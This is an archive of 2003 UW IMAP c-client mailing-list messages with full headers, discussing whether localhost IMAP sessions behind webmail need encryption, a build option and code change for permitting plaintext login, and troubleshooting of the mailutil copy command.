8.1 -- ListProcessor(tm) by CREN Hi Lisa - If you would like to build the new version so that it permits password authentication in insecure sessions, add "SSLTYPE=unix" to the make command line (you'll have to do a "make clean" first). By default, it is "SSLTYPE=nopwd". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Oct 5 10:33:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Oct 2003 10:33:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HXYMZ003174 for ; Sun, 5 Oct 2003 10:33:34 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HXW0K019081 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 5 Oct 2003 10:33:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95HXRsO031400; Sun, 5 Oct 2003 10:33:27 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HVmJH059366 for ; Sun, 5 Oct 2003 10:31:48 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95HVkr7005658 for ; Sun, 5 Oct 2003 10:31:47 -0700 Received: (qmail 29328 invoked by uid 10044); 5 Oct 2003 19:31:45 +0200 Message-Id: <20031005173144.GK26975@localhost.math.fu-berlin.de> Date: Sun, 5 Oct 2003 19:31:45 +0200 Reply-To: stucki@math.fu-berlin.de Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Chr. von Stuckrad" To: c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, Oct 03, 2003 at 03:20:54PM -0700, Lisa Bogue wrote: > Thanks Mark- > > It looks like you are correct. It's a little troublesome in > that the webmail advertises it's ability to use secure > connections and I had configured the conf file to use secure > connections. Perhaps the new version will get it right. Perhaps it never was wrong? IF ALL access to the mail goes over 'https:...' and is so encrypted, and the connection between 'webmail' and 'imap' is ABSOLUTELY ONLY on the 'localhost', you would not really need to encrypt the imap-protocol between apache and uw_imap on the localhost. Then you only have to make sure not to allow access to the unencrypted imap from the normal network interface. I did that once by starting imapd with bernstein's tcptools (binding only to localhost) and once by using the tcpwrappers in imapd to drop every connection not coming from localhost. If somebody 'sniff'es on the localhost, everything's lost anyway :-) Stucki (postmaster at math/inf/mi.fu-berlin.de) From pinedev@shivax2.cac.washington.edu Sun Oct 5 10:43:27 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Oct 2003 10:43:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HhQMZ003482 for ; Sun, 5 Oct 2003 10:43:26 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HhOY8024580 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 5 Oct 2003 10:43:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95HhKpM028448; Sun, 5 Oct 2003 10:43:20 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HgIJH059216 for ; Sun, 5 Oct 2003 10:42:18 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HgIr8007174 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 5 Oct 2003 10:42:18 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HgFmw006450; Sun, 5 Oct 2003 10:42:15 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95HgF5V030510; Sun, 5 Oct 2003 10:42:15 -0700 Message-Id: Date: Sun, 5 Oct 2003 10:42:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Chr. von Stuckrad" Cc: c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <20031005173144.GK26975@localhost.math.fu-berlin.de> References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> <20031005173144.GK26975@localhost.math.fu-berlin.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 5 Oct 2003, Chr. von Stuckrad wrote: > IF ALL access to the mail goes over 'https:...' and is so > encrypted, and the connection between 'webmail' and 'imap' > is ABSOLUTELY ONLY on the 'localhost', you would not really > need to encrypt the imap-protocol between apache and uw_imap > on the localhost. I have been informed that it is *not* safe to assume that localhost is a secure pipe; and that localhost *can* be sniffed. I do not want imapd to be the center of attention of a security advisory because of an ill-considered decision to exempt localhost from the encryption rules. There are still still flames about imapd being "insecure" because of problems that were fixed 5 years ago. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Oct 5 11:12:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Oct 2003 11:12:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95ICiMZ004080 for ; Sun, 5 Oct 2003 11:12:44 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95ICgY8025167 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 5 Oct 2003 11:12:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95ICcsO013430; Sun, 5 Oct 2003 11:12:38 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95IBlJH045276 for ; Sun, 5 Oct 2003 11:11:47 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95IBjVY028146 for ; Sun, 5 Oct 2003 11:11:46 -0700 Received: (qmail 17672 invoked by uid 10044); 5 Oct 2003 20:11:44 +0200 Message-Id: <20031005181144.GM26975@localhost.math.fu-berlin.de> Date: Sun, 5 Oct 2003 20:11:44 +0200 Reply-To: stucki@math.fu-berlin.de Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Chr. von Stuckrad" To: Mark Crispin Cc: "Chr. von Stuckrad" , c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> <20031005173144.GK26975@localhost.math.fu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, Oct 05, 2003 at 10:42:15AM -0700, Mark Crispin wrote: > I have been informed that it is *not* safe to assume that localhost is a > secure pipe; and that localhost *can* be sniffed. OUTCH! If there can be casese of leaking Information from 'localhost' to 'the outside', I'd have to change lots of little things here... Can you give me a hint? Or did you mean 'can be sniffed on the same host' which of course is possible and might be a problem, if users can run arbitrary programs in 'mailscripts' like postscript or other filters on the same host. I assumed in my reply, that the users hopefully may only access via apache, so nobody would be able to start anything unusual on the host itself. > I do not want imapd to be the center of attention of a security advisory > because of an ill-considered decision to exempt localhost from the > encryption rules. There are still still flames about imapd being > "insecure" because of problems that were fixed 5 years ago. OH, I see, what you mean, but nobody should blame 'misuse' or 'broken configs' to the 'program' (but to the 'installer'). That 'localhost'-problem would sound like flaming imap for a break in the kernel of the system? Stucki From pinedev@shivax2.cac.washington.edu Sun Oct 5 13:23:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Oct 2003 13:23:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95KN6MZ006803 for ; Sun, 5 Oct 2003 13:23:06 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95KN20K022791 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 5 Oct 2003 13:23:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95KMvpM009866; Sun, 5 Oct 2003 13:22:58 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95KM8JH070046 for ; Sun, 5 Oct 2003 13:22:08 -0700 Received: from oma.irssi.org (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95KM6VY013917 for ; Sun, 5 Oct 2003 13:22:07 -0700 Received: from localhost.kpnqwest.fi (localhost [127.0.0.1]) by oma.irssi.org (Postfix) with ESMTP id 0E3385EC1181; Sun, 5 Oct 2003 23:22:05 +0300 (EEST) Message-Id: <1065385324.30743.10.camel@hurina> Date: Sun, 05 Oct 2003 23:22:04 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Timo Sirainen To: stucki@math.fu-berlin.de Cc: Mark Crispin , c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <20031005181144.GM26975@localhost.math.fu-berlin.de> References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> <20031005173144.GK26975@localhost.math.fu-berlin.de> Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CTE, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2003-10-05 at 21:11, Chr. von Stuckrad wrote: > OUTCH! If there can be casese of leaking Information > from 'localhost' to 'the outside', I'd have to change > lots of little things here... Can you give me a hint? > > Or did you mean 'can be sniffed on the same host' > which of course is possible and might be a problem, > if users can run arbitrary programs in 'mailscripts' > like postscript or other filters on the same host. I'd like to know where and how this might be possible without root privileges? Root can of course do whatever it wants. I really doubt there's a way for non-root to do it in any sane operating system. From pinedev@shivax2.cac.washington.edu Sun Oct 5 14:08:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Oct 2003 14:08:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L8sMZ007915 for ; Sun, 5 Oct 2003 14:08:54 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L8qY8029070 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 5 Oct 2003 14:08:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h95L8kVi018160; Sun, 5 Oct 2003 14:08:46 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L80JH041864 for ; Sun, 5 Oct 2003 14:08:00 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L7xhe030880 for ; Sun, 5 Oct 2003 14:07:59 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L7maZ019693; Sun, 5 Oct 2003 14:07:48 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h95L7muA001852; Sun, 5 Oct 2003 14:07:48 -0700 Message-Id: Date: Sun, 5 Oct 2003 14:07:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Timo Sirainen Cc: stucki@math.fu-berlin.de, c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <1065385324.30743.10.camel@hurina> References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> <20031005173144.GK26975@localhost.math.fu-berlin.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 5 Oct 2003, Timo Sirainen wrote: > I'd like to know where and how this might be possible without root > privileges? Root can of course do whatever it wants. I really doubt > there's a way for non-root to do it in any sane operating system. The UNIX world has a very bad history of giving assurances to software developers that such-and-such can be relied upon, and then turning on those developers for having the temerity to rely upon such-and-such. The open source portion of the UNIX world has been particularly bad in undermining long-standing "you can count on this" assumptions. I certainly agree that a sane operating system would not allow an unprivileged user to sniff on a localhost session. I would probably consider such to be safe on my own personal system. On the other hand, UNIX and its variants do numerous other things that I do not consider to be the behavior of a sane operating system. Thus, my opinion of what constitutes the behavior of a sane operating system is not useful in determining what will happen on UNIX. *That* particular lesson has been hammered home many times. I have heard folklore to the effect that it is unsafe to assume that a localhost session is a secure channel. I am unable to find any sort of standard or security document that purports otherwise and/or states that developers can rely upon localhost being a secure channel. The consequence of being excessively cautious is that localhost connections use encryption unnecessarily unless the end user hacks the code. The consequences of misguided trust in the "concensus of experts" are another trail of BUGTRAQ advisories, cracked systems, and years of flames. Please, feel free to do your own hacks to permit password authentication in unencrypted localhost connections. All you have to do is the following two instructions: auth_pla.server = auth_plain_server; mail_parameters (NIL,SET_DISABLEPLAINTEXT,NIL); in some strategic place early in the code. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 6 09:18:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 09:18:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GIUMZ007737 for ; Mon, 6 Oct 2003 09:18:30 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GISY8024095 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 09:18:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96GILVi040738; Mon, 6 Oct 2003 09:18:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GHOJH020510 for ; Mon, 6 Oct 2003 09:17:24 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GHNjg009720 for ; Mon, 6 Oct 2003 09:17:23 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id JAA28566; Mon, 6 Oct 2003 09:50:02 -0700 Message-Id: <200310061650.JAA28566@sheridan.sibble.net> Date: Mon, 06 Oct 2003 09:17:20 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin , c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310030713.AAA11969@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 3 Oct 2003 at 10:07, Mark Crispin wrote: > Yes, the mailutil program (included as part of the IMAP toolkit) has a > mechanisms to copy a mailbox with a different format in the destination > copy. Hmm, using the currently installed mailutil fails. I've renamed the "Sent Items" to sentold and run following command which just pops up the usage info: # mailutil copy -verbose sentold #driver.mbx/sentnew usage: mailutil copy [-debug] [-verbose] source destination > The reason why I suggest upgrading is that the problem may be a bug that > has already been fixed. I find it very difficult to believe that imapd > was really out of memory. My real concern, is what if it doesn't fix the problem :-( Then I am pretty much back at square one. I am currently running 2002b. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 09:20:59 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 09:20:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKxMZ007875 for ; Mon, 6 Oct 2003 09:20:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKu0K018616 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 09:20:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96GKopM009908; Mon, 6 Oct 2003 09:20:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKIJH049886 for ; Mon, 6 Oct 2003 09:20:19 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKHa2016794 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 6 Oct 2003 09:20:17 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKEmw003881; Mon, 6 Oct 2003 09:20:15 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GKEDk030511; Mon, 6 Oct 2003 09:20:14 -0700 Message-Id: Date: Mon, 6 Oct 2003 09:20:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310061650.JAA28566@sheridan.sibble.net> References: <200310030713.AAA11969@sheridan.sibble.net> <200310061650.JAA28566@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Oct 2003, Harondel J. Sibble wrote: > # mailutil copy -verbose sentold #driver.mbx/sentnew > usage: mailutil copy [-debug] [-verbose] source destination In some shells, "#" is a comment character, so you have to quote any string which uses it: mailutil copy -verbose sentold "#driver.mbx/sentnew" > > The reason why I suggest upgrading is that the problem may be a bug that > > has already been fixed. I find it very difficult to believe that imapd > > was really out of memory. > My real concern, is what if it doesn't fix the problem :-( Then I am pretty > much back at square one. I am currently running 2002b. If it doesn't solve the problem, then I will continue working with you until it is solved. I am very concerned about this report, but before expending resources on it I want to make sure that it isn't something that is already fixed. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 6 09:58:09 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 09:58:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96Gw9MZ009592 for ; Mon, 6 Oct 2003 09:58:09 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96Gw7Y8025868 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 09:58:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96Gw3sO033068; Mon, 6 Oct 2003 09:58:03 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GvMJH056158 for ; Mon, 6 Oct 2003 09:57:22 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96GvLr7018690 for ; Mon, 6 Oct 2003 09:57:21 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id KAA29230; Mon, 6 Oct 2003 10:30:01 -0700 Message-Id: <200310061730.KAA29230@sheridan.sibble.net> Date: Mon, 06 Oct 2003 09:57:19 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin , c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310061650.JAA28566@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 9:20, Mark Crispin wrote: > In some shells, "#" is a comment character, so you have to quote any > string which uses it: > mailutil copy -verbose sentold "#driver.mbx/sentnew" Hmmm... that also fails # mailutil copy -verbose sentold "#driver.mbx/sentnew" Can't open mailbox sentold: no such mailbox # ls -la sentold -rw------- 1 username groupname 108783116 Oct 6 09:39 sentold > If it doesn't solve the problem, then I will continue working with you > until it is solved. I am very concerned about this report, but before > expending resources on it I want to make sure that it isn't something that is > already fixed. That makes good sense. Just downloading the latest version now. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 10:02:13 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 10:02:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96H2DMZ009771 for ; Mon, 6 Oct 2003 10:02:13 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96H2BY8026065 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 10:02:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96H26hA086004; Mon, 6 Oct 2003 10:02:06 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96H1IJH020244 for ; Mon, 6 Oct 2003 10:01:18 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with 